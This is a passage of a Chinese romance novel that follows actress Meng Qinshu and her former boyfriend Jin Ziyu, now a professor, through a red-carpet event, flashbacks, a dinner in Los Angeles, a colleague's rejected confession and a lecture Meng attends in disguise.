孟秦书挪开视线看窗外,窗外景物倒退的速度愈发快,孟秦书还是想和靳子煜聊天,她往后靠正视前挡风玻璃,“靳子煜宴会那天你没有开车回去吧?”
重逢后,孟秦书问的问题有时候真挺好笑,和从前那人就好像只是躯壳相同,灵魂完全换了一副,但靳子煜还是忍着,正经回复她,“去前台开了房间。”
“靳子煜,我哥....霍清辞你别怪他,他真的没有坏心。”
“孟秦书我还不至于连好坏都不分,你担心我怪他,我明确告诉你没有。”
孟秦书闭嘴,垂下眼帘,盯着被自己掐的一个指印一个指印的五根手指,她松松握住手机,心里没来由地叹声气。
她闲扯是想分散靳子煜没结婚却又孩子这件事的注意力,一停下来还是忍不住的去想。
靳子煜女儿四岁九个月,加上怀胎十月,那么就是他们分开之后第二年,那时靳子煜一定还没从和她这段被伤的体无完肤的感情里走出来,所以……才会有了孩子。
所以罪魁祸首是她。
前面一大排刹车灯亮了,靳子煜跟着踩刹车,车速降下来平稳停下。
就好像找到了合适时机,孟秦书抽了两张餐巾纸,侧转身盯了靳子煜几秒,他大抵被她盯得不舒服了转过脸来看她。
“你额头上都是汗。”她柔声说。。
声音方落下,孟秦书那餐巾纸的手已经到靳子煜额头上,靳子煜根本想不到她会这么做,所以一点防备都没有。
她想做什么!
靳子煜本能地往后仰脖子,可因为怕拉扯右腿,他不敢有大动作,孟秦书顺利给他擦掉额头上的汗,她圆润细腻的指腹不经意间,划到到他的眉尾,仿佛羽毛尖一扫过,酥酥痒痒,而她那张面孔全然是——坦荡。
靳子煜别过头正视车窗外,抓握方向盘的骤然收紧,似要把它给捏碎,时隔多年,孟秦书又想故技重施来撩拨他吗?她以为自己还是那个被她呼之则来挥之则去的人吗?
要不是她刚刚帮了他,要不是在高架上,他一定把她赶下去。
半小时到达孟秦书指定的小区门口。
大门门头土豪金色,呈酒店迎宾之姿,豪阔大气,在繁华喧嚷的市中心,别具一格。
‘汇悦台’是海城顶级富人小区,靳子煜略有耳闻,里面均是不超过六层的小高层,独门独户,在寸土寸金的市中心,一套二三百平的房,价格高达七八千万。
靳子煜三年前拿自己做项目和开公司赚的三千万在高新区‘壹号院’买了联排别墅其中一套,六百多平,听闻明星收入高,日薪好几百万,七八千万或只是她们半年不到的收入。
视线回到自己手指上,靳子煜听见孟秦书在解安全带,他偏转脸去看她,孟秦书对他笑了笑,语带诙谐道:“为了担得起大明星的身份,我在这里租了房,我没有买房,明星没你们想得这么赚钱,除了交税还有各种必须要的支出,其实我前四年赚的钱都花光了,月月光,近两年才稍微有点存款,不多可能二三千万,不是凡尔赛,我在跟我同一线的女明星中收入是垫底的。”
自还清欠账后,孟秦书早没了那股子拼搏劲,拍完一部戏时常要休掉下半年,非必要的商业广告、商业活动她能不接就不接,现在在完成的一大部分都是前几年遗留的。
靳子煜不知道孟秦书和自己说这些做什么,而且连家底都透给他。
孟秦书手握上门把,不放心地回头,“靳子煜我走了,腿疼少走路,我知道你有吃止痛药的习惯,但,是药三分毒,能少吃尽量少吃,照顾好自己。”
“啪嗒”门轻轻合上,靳子煜望着孟秦书步行进小区的背影,忽越来越看不懂她,她现在就和孙悟空有七十二变似得,变脸速度出奇的快,前一秒这张脸后一秒又换了一张脸,难是演员当久了的职业习惯?
靳子煜呼出一口长长的气,打火开车,驱车驶离了这里。
*
慈善晚会开场前两个小时,有走红毯节目,外场会有电视直播,舞台正前方有一大帮记者以扛好摄影机,摄像机、随时随地准备摄像、拍照。
记者以外,是各明星家的粉丝后援会,每家放进来十多个人,一百多个明星,后援会也有一千多人,把外场围得水泄不通。
舞台呈T形,从南面明星下车的地方,一路延伸至北面舞台正中,明星自南向北而来,到舞台正中,在签名墙上留下签名后还需要接受女主持的采访才能进内场。
明星一出场,连续不断地快门声聚集到一块比雷声还要响亮,闪光灯跟劈开黑夜的闪电似得持续不断地闪着,一个接一个的男女明星们闲庭信步地走到舞台中间,接受采访和媒体的正面拍照。
临近七点,纯黑
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色的天际却因舞台灯和闪光灯,照得恍若白昼,同品牌黑色奥迪车开进场,后座车门从里面打开,先落下一双穿着米白色尖头高跟的脚,接着一片明黄色裙摆垂下来,快坠到地上时,被一只莹白如玉的手捞回去。
当穿着明黄色轻纱抹胸裙的孟秦书出现在众人眼前时,快门声又是响彻天际的洪亮。
她的裙子挺别致的不是纯黄色,纤纤的细腰上有几种素淡的花朵做点缀,像花丛里优雅高贵、落落大方的仙子。
孟秦书今天的发型也很独特,中分编发,平时披散的长发,不落一根盘的起,连额头都是干干净净的,她款步走向舞台,双脚一抬一放间可看到裙摆下不到五厘米高度的皮鞋鞋跟,孟秦书是女明星中为数不多只穿短高跟的女星,多数女星都要穿十厘米甚至往上的恨天高。
古典舞出生的孟秦书,净身高有一米七五,即使不穿高跟鞋在一众女星中也是较突出的。
媒体都知道,孟秦书先天条件好,但本人佛性,在更新换代比流水线还快的娱乐圈,她虽仍是90大花,但人气近两年明显有下滑,甚至已经不及同公司的一线女星施漾,就拿近两年的红毯来说,以往这位都是大花作为新生代群星之首压轴出场的,现在已掉到末尾第四,连施漾都在末尾第二出场。
孟秦书签名墙上留下签名后悠然转身,被后方的主持人热情叫住。
“南寒稍等。”
孟秦书整理好裙子,静等主持人提问。
“南寒今天这件裙子很独特,能跟我们说说为什么选这条裙子吗?”
孟秦书拿了主持人手里的话筒,看到举着‘南寒’名字的粉丝牌的粉丝们,她大方得体地说:“是我一位粉丝朋友微博私信我说没看过穿过黄色的裙子,正好我也想尝试一下,你们说好看吗?”
孟秦书把话筒递向后援会方向。
全场哗然,没想到南寒一条条看私信,还采纳了粉丝的提议,这么宠粉。
粉丝后援会的一位小姑娘抹了抹眼泪,跟旁人一起大喊,“好看!”
主持人,“十二月二十二日南寒有一部都市创业剧《大梦想》即将上映,南寒有没有想和大家说的。”
“嗯,希望大家带着亲朋好友一起观看,《大梦想》它是一部励志的、热血、青年群像剧,该剧聚焦大数据、人工智能、物联网领域,非常适合当下奋斗中的年轻人。”
台下人群齐声大喊“好!”
主持人点头,做了个请的手势。
孟秦书在粉丝的尖叫声中走进一扇小门进入内场。
孟秦书离开后,又迎来另一轮尖叫,镜头转移到一个刚下车的穿藕色斜肩礼服长裙的女明星身上,靳子煜摁了遥控板上的关机键。
靳子煜穿着带点绒感的条纹浅蓝色家居服,坐在布艺沙发上,在家里不戴假肢的他,大腿根二十公分往下的裤腿是扁扁塌塌挂在沙发上的。
他手掌撑了一下茶几起身,伸手拿来斜靠在沙发边的腋拐,听到动静躺在他脚下打瞌睡的书书,一下四脚直立,靳子煜架着拐往隔壁书房间走,书书乖顺的跟在他身后。
靳子煜在书桌前盯着电脑中的数据出神了半小时,没有头绪的他,走到书桌对面的铁艺小沙发前,他把腋拐靠墙放,坐进沙发,拿起沙发角落靠着的吉他,琴尾靠在右腿上,小臂放在琴板上,指骨分明的手指落在琴弦上。
悠扬的琴音自他指缝中流出。
他眉目渐柔,轻轻吟唱,声线微哑,沉澈的声音中带着几分撩人。
每当这个时候,按耐不住低孟秦书会一把夺过他手中的吉他,她放在自己腿上,她唱歌时的声音不像平时说话时清冷而是带点温柔缱绻。
EverySha-la-la-la,EveryWo-o-wo-o,Stillshines。
(每一句Sha-la-la-la,每一声Wo-o-wo-o,仍然闪亮)
Whentheygettothepart,Wherehe''sbreakingherheart
(当他们唱到,他让她心碎的那一段时)
Itcanreallymakemecry,Justlikebefore
(真的令我痛哭流涕,一如往昔)
It''syesterdayoncemore
(这是昨日的重现)
。。。。。。。。。。。。。。。。。。。
11. 放不下了
孟秦书第一次记住靳子煜是在大一第二学期,那个夜里,那一场突然而至的大暴雨,雨水砸在地上溅起半米高的水花,地上瞬间流水成河。
这天孟秦书心情很不美好,母亲宋珍珠因不满她又一次违逆她的话,在她回学校的路上,宋珍珠一通电话给司机李伯,让他把她放路上,自己走回去。
李伯不敢违抗宋珍珠的命令,只好把她丢在半路,值得庆幸的是这条路距离学校不到三公里,不幸的是她走到半道,电闪雷鸣,大雨倾盆而下。
街道两侧店铺林立,五颜六色的灯光倒影在雨水成河的地面上,光怪陆离。
路人频频回头看她,湿衣湿发,不知道躲雨还在悠然漫步,怕不是都认为她是个疯子。
孟秦书喜欢下雨,雨水拍打脸颊,没人会发现她脸上的是雨水还是泪水。
在经过一家书店门口时,孟秦书脚下的高跟鞋,鞋跟卡入下水道盖子中,她试着抬脚拔了几下没拔出。
高跟鞋是一字带款式,孟秦书蹲下去解扣子,白色裙摆浸湿在污水中。
可突然间,属于她的一方地盘,雨骤然停了。
她仰头看到一把黑色大伞,罩在她头顶上空,仿佛是专门为她所创建的防护罩。
为她撑伞的人正是靳子煜,她知道他,大二学长,计算机系的大学霸,获奖无数,但所有荣誉都不及身残志坚四个字来得教人印象深刻。
靳子煜是个残疾人,他五官分明、眉眼温和,气质俊逸拔俗,一米九的身高在一众男生里也十分突出。
只是右腿根下半截是空荡荡的,而他还很乐意穿运动短装,在外界眼中靳子煜,常年右臂下架一只腋拐,这也使得他的外在形象因此大打折扣。
可这会儿,书店窗户泄出来的白色灯光打在他身后,这个一手架拐,一手为她撑伞的男生,白衬衫湿的黏在身上的青年,在她眼中忽变得不像是个凡人反倒是像尊神明。
噼里啪啦的雨声,盖过周遭所有嘈杂,孟秦书解开鞋带扣子,拔不出鞋子,索性两只鞋都不要了,她从地上起身,抬起下颌,抬到能与靳子煜目光平视。
靳子煜递出他手里的伞,孟秦书当时觉得他有点傻气,自己早已湿身,打不打伞又有什么区别,而靳子煜却因帮她撑伞,把自己也搞成了和她一个样,孟秦书没接他的伞,但她对他说了声,“谢谢。”
后来靳子煜告诉她,那天的她像一株被风折弯发生形变的白玫瑰,花瓣破碎,孤零可怜,然而风一撒手,又恢复成原状,丝毫没有退让的意思。
孟秦书打赤脚往前走,没走几步就被拄拐追来靳子煜挡在她面前拦住她的去路,他把手里的伞,强硬地塞进她手掌心中,没给她拒绝的机会,他冒雨往前疾走,在一处小路口,一个右拐弯背影就消失不见了。
靳子煜不知道他离去的步态并不好看,碎了他在她眼中的神明形象,坠落成有瑕疵的凡人,但又如何,她一样狼狈,别说两人还挺配。
靳子煜……
我记住你了。
在往后很长一段时间,孟秦书频频出现在靳子煜常去的图书馆,两人有时隔很远坐,有时坐到一张长桌上,还有时面对面,她常常夹带一本火星英语,平铺在桌上,念念有声地读着。
她想引起他的注意。
“南寒姐。”
一个声音闯入进来,摇晃了她的梦,孟秦书像做了云霄飞车俯冲下再被强行拽回现实中。
孟秦书自沙发床上挺起身,偏头看舷窗外,白云悠悠,形状各异,天空蓝的像蓝颜料挥洒上去的。
小杨在她耳旁又说了一遍, “南寒姐,洛杉矶到了。”
十六个小时的飞行,终于到了洛杉矶。
孟秦书需要再这里呆一周,为代言的服饰品牌拍夏季广告。
下机后孟秦书让小杨和其他工作人员一块走,自己一个人漫步到出站口,她的名气还没响彻海内外,国外不会遇到什么粉丝,更不会有什么狂热粉。
远远的孟秦书看见来接她机的霍清辞,霍清辞一身黑色高定西装,还扎了一根浅黄色领带,看样子是工作时间专门抽空出来接她的。
“哥。”孟秦书推着一只十二寸行李箱走上去。
霍清辞看她手里的行李箱,“累吗?行李箱给我。”
孟秦书放开握行李箱的手,用这只手揉揉脖子,“我想先去酒店睡一觉。”
霍清辞手攥住行李箱推杆,站在后座车门前的高胖白人司机立刻上前来,他跟霍清辞说了句“霍先生我来”的英文,霍清辞就把行李箱让给他,司机用带白手套的手握住推杆推去后备箱。
霍清辞替孟秦书打开车门,另只手挡在门框上,孟秦书钻入车内,往里面坐,霍清辞随后坐进来,拉上门后霍清辞问她,“最近怎么样?”
他们一个多月没联系了,霍清辞忙,她也忙。
孟秦书糊弄道:“什么怎么样,还不就是那样。”
司机坐进车内,转头和霍清辞询问是否能开车,霍清辞说了声“OK”,司机启动汽车,平稳上路。
霍清辞不给她糊弄过去,“没去海城大学找靳子煜?”
“没。”她顿了一下,如实道:“后来见过他一次,在机场。”
霍清辞抬手臂看了眼腕表,“我待会有个会议,得先下车,不然可以好好聊聊,晚上一块吃个饭,地点我提前订了,六点钟,我会来接你。”
孟秦书困的上眼皮打下眼皮,点点头,任霍清辞安排。
霍清辞看她累了,也就不在和她说话,车行驶不到十分钟,霍清辞公司到了,他和孟秦书道别,推门出去了,留下孟秦书被司机载着去往霍清辞提前为她定好的酒店。
孟秦书在酒店里睡到昏天黑地还是她设置的手机闹钟叫醒了她。
伸了个懒腰,孟秦书光脚踩在松软的地毯上,她拉开酒店窗帘,刺眼的白光送入屋内,她所在的是酒店六十九层,会产生种伸手就能触摸到太阳和白云,如临仙境的错觉。
随便收拾下,孟秦书弯身蹲在地上,打开行李箱取出一件米白色斗篷连羊绒外套、深灰色牛仔裤,再拿出一顶黑色贝雷帽,她拿着这三样东西进更衣间。
孟秦书每次出国只带两套衣服,因为往往第一天她是不愿意出门的,两套衣服是为了方便换洗用,不够穿她都会在当地买新衣服穿。
遵照约定时间到达楼下,霍清辞已在大堂内侧的沙发那儿坐着等待她,看到她走过来,霍清辞放下手里的杂志起身。
霍清辞上下打量她一遍,“洛杉矶比国内低七八度,你穿这些确定不冷?”
“车接车送的哪里会冷。”孟秦书觉得他大惊小怪的。
“吃完饭还想带你去坐游轮,怕你冻感冒。”霍清辞又说,“没事走吧,大不了到时候去买新衣服。”
霍清辞腿长步子跨得大,孟秦书紧着步子跟在他旁边,“我不想坐游轮。”两人通过旋
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转门,霍清辞扭扭头看她,孟秦书再说:“明天一块去攀岩吧。”
电话里霍清辞有和她说第二天带她去逛景点,现在她不想去景点只想去攀岩。
两人已到车门前,霍清辞盯着她,看了会儿道:“你以前不是恐高吗?”
应该是孟秦书初中的时候,霍清辞带她去户外攀岩,以前次次攀的很好的她,突然开始恐高,至此后她再也不想攀岩了。
“我也不知怎么的三年前突然就不恐高了,大概是吊威亚练出来的,有一次实景拍悬崖戏,照以前站在上面我会头晕眼花腿发软的,这次竟然一点感觉都没有。哥,我月中需要去新加坡录制一期综艺节目,有攀岩的项目,你攀岩不是最在行吗?给我指导指导,我复建一下。”
霍清辞从小到大各种体育项目每一项都是出类拔萃的,获得过很多金奖证书。
耳侧的一缕发丝被风吹拂到她瑰丽的脸庞上,孟秦书用食指刮开,在将其勾到耳后。
旋转门一侧的小门里走出来一对白人夫妻,是合作的大客户,女士向霍清辞摇摇手,霍清辞对夫妻两人抿出礼节性地微笑。
夫妻走开后霍清辞开口,“我也有十多年没攀岩了,或者我给你介绍个老师。”
听上去像是不愿意教她,也对,霍清辞现在的身份不适合爬上爬下的运动,显得不够端庄稳重。
理解。
孟秦书眼尾微翘,悠然清浅,“好。”
“我明天陪你一块攀。”他勾了勾唇“但指导的话不好说,毕竟十多年没做这件事了。”
“吃完饭,我去买攀岩服装。”孟秦书转身,候在一旁的司机拉开车门,孟秦书坐入车内往里挪,整张脸陷入暗处,霍清辞跟进来坐门边。
*
霍清辞订的是空中音乐西餐厅,在金融大厦一百零一层楼。
神秘暗色调的餐厅灯光,营造出一种优雅艺术的氛围。
等餐间隙,霍清辞说起车上想说来不及说得话,“那天我见到靳子煜后我就想我是不是做错了,你当年在他最低落的时期跟他提了分手,对他来说打击一定是巨大的,但他并不知道真实原因,而我帮你一起瞒了他七年。”霍清辞停了停再说,“这七年看似他日子越过越好,但在我看来他并不开心,有没有想过把当年的真相告诉他?”
孟秦书凝听完霍清辞的话,说说自己的看法,“哥,过去是什么样,那都已经发生的事,旧事重提,难道不是在用过去的感情去绑架七年后的他吗?”
“我承认,自从见到靳子煜,我就放不下他了,但我想试试看,让他重新喜欢我,现在的孟秦书不会既要又要,不会计较得失,不会有所顾虑,当然我亦做好,他不会再喜欢我的准备。”
服务员举着托盘上来,孟秦书眨眨眼,眼眶里盈含泪水,长睫上有泪湿的痕迹,但任是没让它掉下一滴,服务员说了一句祝福话,把盘装的牛排放在孟秦书面前。
霍清辞看着眼前这个提到靳子煜就会饱含热泪的丫头,他认识她二十四年,最知道她是不轻易外放自己感情的,可她却一次次为靳子煜情绪决堤。
耳边似回响起七年前几近崩溃的她,跪在他面前抱住他双腿哭着求他的话。
“霍清辞,求求你别告诉子煜,他刚做完手术,不能激动、不能走,我不能害了他……不能,你别告诉他好不好?”
那时的孟秦书前途未卜。
而她唯一记挂的人只有靳子煜。
12. 告白
与此同时,海城,北京时间上午十点整。
靳子煜在医科大研究院,刚结束一场有关于《仿生类人体器官芯片研究》研讨会。
靳子煜研究生跨读的生物医学工程专业,现主攻—生物人体器官与再生医学领域。
同事们鱼贯而出,主持这场会议的谭院士夹着笔记本电脑在经过正要往外走的靳子煜时,举起手拍拍他的肩膀,谭院士对这个年轻人,满眼皆是欣赏。
靳子煜侧身正面朝向他,低垂首敛目,他对这位年过半百的医学界领袖满怀尊敬,谭院士称赞:“靳教授你今天讲的很好,”
谭院士和靳子煜同出一门,谭院士是黄鹏院士最早一届学生,与靳子煜一样他也是黄老的关门弟子,现年八十的黄老已于今年六月份正式退休,一直致力于生命医学的谭院士是被黄老力邀来得。
恩师发话谭院士哪有不遵循的道理,来之前黄老还把学生靳子煜带来给他认识,饭桌上黄老讲了不少靳子煜现有的学术成就,是希望将来他能对这位后生能多多提携。
谭院士对靳子煜的第一眼印象除了身体残疾外,是外表温良,干干净净的是个读书人样,只是眼里没有学痴对专业的痴迷,想当年他就凭一股子痴迷劲,才得恩师赏识才有今天的成就。
黄老五十载科研、教学生涯一共收了十位弟子,靳子煜作为黄老最后收进来得弟子,自是十分关注,他当时这么想,一味点头应道。
学术界论资排辈的不少,黄老把他叫来还有一层原因,他一向公私分明,不会任人唯亲,机会只给有能力的人。
今天两小时的研讨会上靳子煜一个人发言的半小时,当其他人都在绞尽脑汁想看不出问题关键所在时,靳子煜一针见血的指出了实验和理论中的变化趋势,并给出了对这组定力模型的分析和解法,这让他对这个后生刮目相看。
也就不难怪年纪轻轻就能成为正四级教授,虽说正四级在教授级别中属于最低级别,但按国内高校教授平均四十的年纪来讲,靳子煜已是人中龙凤。
不愧是恩师选中的人,未来不可估量,后生可畏。
靳子煜颔首,“谭院您过奖了。”
在这所研究所,除了平均年龄四十左右的二十多名研究员,年长的三位院士都是科学界了不起的大人物。
谭院士与靳子煜就着外面的天气闲聊几句就走了,靳子煜拄着手杖跟着往外走,刚到会议室门口,被返回来的朱茜拦住。
扎着高马尾的朱茜,双手插在白大褂里,手指在口袋里蜷了蜷,方才严肃开口,“靳教授,去茶水间坐坐,我有些话想和你说。”
朱茜于三年前进的研究所,海城S大钟院士举荐进来的,现是助理研究员。
进到茶水间,两人各自拿着杯子去咖啡机泡了一杯咖啡,随后走到临窗的那张长方形桌子前,面对面坐下。
窗外是铺了绿塑胶的露天健身运动场地,场地上有小型篮球场、跑道、一些健生器材,朱茜有一年去T大,曾看见过靳子煜打篮球,他一手拄拐,一手拍球,躲闪、避让、投掷,一整套动作完成的行云流水。
再见靳子煜时,他已穿上假肢,人也变得稳重深沉不少,直至今日再也没看到过他打球。
朱茜知道他和孟秦书分手了,没想到分手后的他就跟变了一个人一样,虽然待人依然温和有礼但这种温和是带着距离感的。
朱茜喝了口咖啡润润喉咙说:“子煜今天跟你坐这里跟你聊天,是我想再要一个你的回答,还记上次是三年前,转眼又过了三年,我等不了了,所以今天你的回答是决定我去处的关键。”
私下她不想叫他靳教授,说起来他们认识也有十一年了。
两人不是校友而是计算机竞赛时的对手,她一直是他的手下败将,别人都是从失败中得到教训和经验而她在一次次失败后喜欢上了这个有点强的对手。
朱茜正式开始喜欢靳子煜是在第九年,只是那时候靳子煜有喜欢的人,她把这份喜欢放在心里。
大概是五六年前,她在电视上看到了已是大明星的孟秦书,多方打听后得知靳子煜和孟秦书早已分手,于是她重燃希望。
为了追逐靳子煜,她在读博前转了和靳子煜一样的专业,只不过她达不到海城大学的要求,不能与他在一个学校,但可以在一个城市她就很满足了。
读博那年,靳子煜和朋友顾远合开了一家公司,她去应聘研发助理,顺利进了他们的公司,她和他终于有正当理由经常见面。
她和靳子煜负责研发,学业关系他们都很忙,偶尔来公司,顾远负责管理和对外业务,三年后毕业的两人又进了同所研究院。
她亦步亦趋地追逐靳子煜,从二十五岁到三十岁,直至今天,她不想在等了,无论结局好坏,所有一切都将在今天为她多年的追逐画一个句号。
靳子煜手指碰到咖啡杯又收回来,安安静静地听朱茜继续说。
“子煜你和孟秦书也分了七年了,你是在等她还是只是因自己的身体而不敢去爱别人,子煜你不用回答我,你听我说完。”
朱茜放在腿上的左手,揉捏着身上这件白大褂的布料,她鼓起勇气说,“子煜你没跟我相处过,你怎么知道是不是会向孟秦书一样丢下你,我告诉你,我不会,永远不会。”
她看到靳子煜禁闭的唇,微乎其微地颤了颤。
久藏心里的话一口气说出来,朱茜不但舒畅胆子还大起来,她的手不在揉捏布料,逐渐放松语调,“你是不是以为我只见过人前得体光鲜的你,不是的,我见过你摔倒,见过你扶着墙面站起来又跌下去的狼狈,可纵然如此,我仍是喜欢你,我喜欢的从不是那个我幻想出来的你,是有很多无能为力但依然竭力击败重重限制的你。”
说完长长一段话,朱茜凝神望着眼前这个男人,他在听完她的话后目光有动容,但朱茜认识他这么多年怎么看不出这只是感动,不参杂任何男女感情因素。
不过既然都说开了,还有一些话,她想一并告诉他。
“朱茜,我—”
靳子煜虽是个残疾人,但他从不乏追求者,他虽待人为善,温润谦和,但他拒绝别人从不拖泥带水的,这也使得不少被他婉拒的女生会恼羞成怒反过来辱骂他的不识好歹,而朱茜从没有过。
靳子煜犹记得朱茜头一次来找他,是在他大三那年,她进门问了他一句,“大神你有女朋友吗?”
再得知他有女朋友后这个女孩不再有一言片语,爽气地离开。
再后来的见面是五年前,她进了他们的公司担任起助理一职,他不是不知道朱茜喜欢他,这些年他为了不让她对自己抱有任何幻想,工作之外两人没有任何接触,对于她给予他的关心、帮助,他也是一次次婉言拒绝。
进研究院前夕,朱茜把他堵在公司的电梯间,她这
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次和他告白了,他意识到严重性断然拒绝,她没有说他一句不是而是依然乐观地说,“靳子煜,我早晚让你喜欢上我。”
他真不知道朱茜原来这么喜欢他。
朱茜继续说下去,“你知道吗?在决定追你前我已经把你的照片和身体情况没有任何美化的都告诉了我爸妈,我对待感情是认真的,我不仅要对自己负责,还要对我未来的男朋友负责。”
“我爸妈都是大学老师,非常开明,他们支持我去喜欢你,然而今年我三十了,我爸妈开始催促我结婚,他们说,如果男孩子实在不喜欢你就算了,你追他是你自己单方面的想法,不能因为你追了他五年他就一定要喜欢你。”
靳子煜手指向内微弯曲,不可能一点触动都没有,这是一个追了他将近六年的女生,真心诚意的告白。
朱茜拿起咖啡杯小抿了一口咖啡,借此掩盖再度生出的紧张感,她轻轻放下咖啡杯,淡声问,“子煜,我的话说完了,你愿意给个机会试着喜欢我吗?”
如果靳子煜是后者,朱茜觉得自己把话说到这份上了,他应该看到了自己喜欢他的分量和对待感情的认真程度,就怕是前者,他还惦记着那个人。
朱茜在等靳子煜的答复,该高兴的是靳子煜这次因为她的话犹豫了,在她以为是不是有可能的时候,靳子煜却向她道歉,“朱茜对不起,我担不起你的喜欢。”
他承认有感动,但对她只有抱歉。
朱茜双眼转瞬盛满泪水,嘴角依然噙着冬日暖阳般温煦的笑意,“子煜我知道的,可能性不大,好—谢谢你的回答。对了,你不要觉得抱歉,更不要觉得是你拒绝我才把我逼走的,不是的,我想回家了,不想在把青春耗在一件没有可能的事情上,我想结婚了。”
在靳子煜平静凝视下,朱茜站起来,整理好白大褂边边角角,临走前她还想对靳子煜说一句,“子煜,我喜欢你这么多年,我能放下,我希望你也能早日放下那个人,早日找到属于自己的幸福。”
靳子煜拄着手杖跟着起身,朱茜的话让他眼里生出雾气,他换手拿手杖,朝朱茜伸出右手,这只手跨过桌面到达朱茜面前,靳子煜温言说:“谢谢。”
朱茜握住他的五根手指,心里自我打趣道,没想到与靳子煜的‘肌肤之亲’会是在她离开前。
想到靳子煜周边还有不少女人对他虎视眈眈,朱茜嘴角上扬到一定高度,希望有哪个女人能拿下他,真心的,“子煜祝你幸福。”
靳子煜回以微笑,朱茜背转身火速离开。
*
攀岩是在户外,却因一场毫无预兆的大雪扰乱了他们的计划。
霍清辞提议去别的地方逛逛,孟秦书下午还要出发去旧金山开工拍摄,便拒绝了,回酒店的路上,孟秦书拿出手机,打开微信,她在添加朋友栏里打入靳子煜的手机号,她不自主地有些紧张,颤着指尖点击搜索号码,页面转跳到靳子煜的微信头像界面。
【淡述】
他的微信名未改。
车厢里暗沉沉的,手机屏幕亮光点亮孟秦书明丽的脸庞,一边的霍清辞膝盖上放了笔记本电脑正在办公,硬朗凌厉的五官同样沐在白色光亮下,他只在孟秦书凝神专注手机屏幕,食指悬空在屏幕上久久不敢按下去时,往她脸上扫描一眼。
孟秦书犹豫是在好友申请备注上,但最终她心一横,打下孟秦书三个字,再眼一闭,发了出去。
13. 凄凉
靳子煜上课很少有人会睡觉,他的课堂风格偏严肃,不像有的老师幽默风趣,常常天马行空,趣味横生,课堂上时常会听到哄堂大笑,而他是严格按照课堂大纲走,几乎没有主题以外的话。
因为备课充分,他在课堂上可以完全不用看稿,教学习惯条理清晰,重点突出,对于学生只要认真听讲做好笔记,课后复习时无需再看教科书,也能很好地掌握课程内容。
而今天有点特殊,最末排的一个短发女生,在课还没进行到三分之一时,已开始在趴在桌上睡觉,坐她旁边的另一名女生已经多次轻拽她的袖子,女生是出于好意,毕竟这是专业课,课上没认真听,下课需要花几倍时间补回来,另一层面,睡觉对老师而言多少是不尊重的。
果真老师向这里走来了。
他们这位靳教授腿脚不是很好,跟了教授一两年课的学生都知道他这是老毛病而不是单纯的受伤。
靳教授的腿很长,有种腰部以下都是腿的美感,观察细致的能发现他的右腿出腿速度缓慢,还有种钝感,常常是人家的两步等于他的一步。
但靳教授真的好有魅力,博学多识、专业精深,温文尔雅,还有一张比明星都耀眼的脸,真真是buff叠满,世上怎么优秀的人,当一个人优点足够多时,谁会在意那一点小小的瑕疵。
还有最后不到二米,女生拿手肘撞击睡觉女生的小臂,看在同是女生的份上,再不醒那她就自求多福吧,靳教授再温柔但毕竟是老师,总归会有脾气的,虽说大家都没看过靳教授发火。
大教室一百多人的目光,一大半人跟着靳教授的行动而移动,还有一部分落在睡觉女生身上。
室内落针可闻,靳教授的脚步声和手杖一次一次敲击地面,就像十年前的旧时钟,秒针每走一步都会发出频率相同的“哒—哒—哒”声。
靳教授越接近那名女生脸色愈发凝重,看来是真的生气了,而那位女生压在两只手臂上的脑袋突然动了一下,真的是睡迷糊了,女生抬头后还揉了一下后脖子,只不过他们那位靳教授没看到这一幕,只因为他在女生动的那一下就转身往回走了。
短头发,黑黄皮,一副黑框近视眼镜遮住半张脸,这个女生长得还真特别。
她坐着都好高啊,即使穿了松松垮垮的运动服,通过凸起的窄肩头,也可以看出她身板的窄薄。
话说,这么特别的女生以前怎么没印象,现在也不是新生入学月,真奇怪。
孟秦书发现教室里除了靳子煜不在看她,一百多号人都用疑惑的目光在打量她,她压了压鼻梁上的眼镜鼻托,再按按头上的假发,确定一样没少,松了口气。
“分析表明,直线式驱动和柔性铰链传动技术,使其能够快速机动,并能将求救信号传至控制端。”
靳子煜清清润润的声音传下来,带走了所有投在她脸上的目光,孟秦书看到靳子煜缓缓转过身,手杖已被换到他的左手上,他在投影幕布左侧的黑板上写下“柔性铰链”“控制端”七个工整笔触有力的大字。
刷刷刷的写字声,孟秦书看他们都埋头写,她拿出压在自己胳膊下的笔记本随便翻开一页,照着写。
虽然是舞蹈生,念大学时还是需要修《大学英语》《大学语文》《高等数学》三门文化必修课。
舞蹈是孟秦书从小学到大的,宋珍珠说女孩学舞蹈能提升一个人气质,她小初高文化成绩不拔尖但也不拉垮,且她当年的高考成绩211高校随便选,之所以最后选择了舞蹈,是想早点自力更生。
没上课前孟秦书在一楼拐角的教师风采墙上看到了靳子煜的照片和底下一长段文字介绍,他于三年前已经博士毕业,整段文字有三分之二是在介绍学术成就。
靳子煜越来越优秀,而她距离曾经的梦想越来越远,靳子煜以前对她说,她将来一定会成为一名出色的舞蹈家,舞蹈家……好遥远的梦。
刷刷写字声戛然而止,孟秦书迟滞抬头,便与靳子煜的视线在空中交汇,只是淡然的一扫而过,和她上学时老师看底下学生的那种目光一模一样。
孟秦书确认靳子煜没认出她。
为了不被人认出来,她套了假发,戴上平光眼镜,脸上、手上凡是暴露在外面的肌肤都涂了黑粉。
一路来真的没人认出她。
孟秦书来这里是想看看靳子煜,十天没见他,想他了。
那天向他发出好友申请,他一直没通过,孟秦书挺难过的,以前那个爱她、包容她一切坏脾气的靳子煜,再也见不到了。
可她后来又想想,那时候的靳子煜事事以她为中心,而她却甩了他,不但如此还说了伤害他的话,他有多痛就对她有多恨。
下课铃响了,是一首舒缓的钢琴曲。
一百多号人作鸟兽散,孟秦书在桌上绞着手指,眼看靳子煜夹了教科书要往外走,她坐不住了,岂料靳子煜先她一步开口。
“孟秦书你又想做什么?”
靳子煜面朝前门,教室里除了他们没有别人,他不用高声说话,二十米开外的孟秦书都可以听得清清楚楚。
声质清冽,仿佛早起降下的霜,靳子煜是越来越高冷了。
他是什么时候认出她的?
孟秦书双手一按桌面起身,站得笔直如同窗户外的立柱,言简意赅道:“我来是想看看你。”
还想问问你为什么不加我微信,孟秦书心里把这句话默念一遍。
靳子煜身体微微一愣,俄而,他右脚以脚跟为中心画了半圈,手杖落地,面向隔了十五六排座位的孟秦书。
相隔甚远,靳子煜五点一的视力,看不清孟秦书的脸,“孟秦书你已经打扰到那些学生,明天你不要来了。”
孟秦书知道靳子煜是指她上课打瞌睡这事,这事她确实有错,但她还是想稍稍为自己做个解释,“我昨晚后半夜回来,没睡好,才会打瞌睡,我保证之后不会再有这种事发生。”
之后?
孟秦书是没听懂他的话吗?
“孟秦书我的课是专业课,不欢迎非专业的学生来我这里上课。”靳子煜口气中已隐含淡淡愠怒之意。
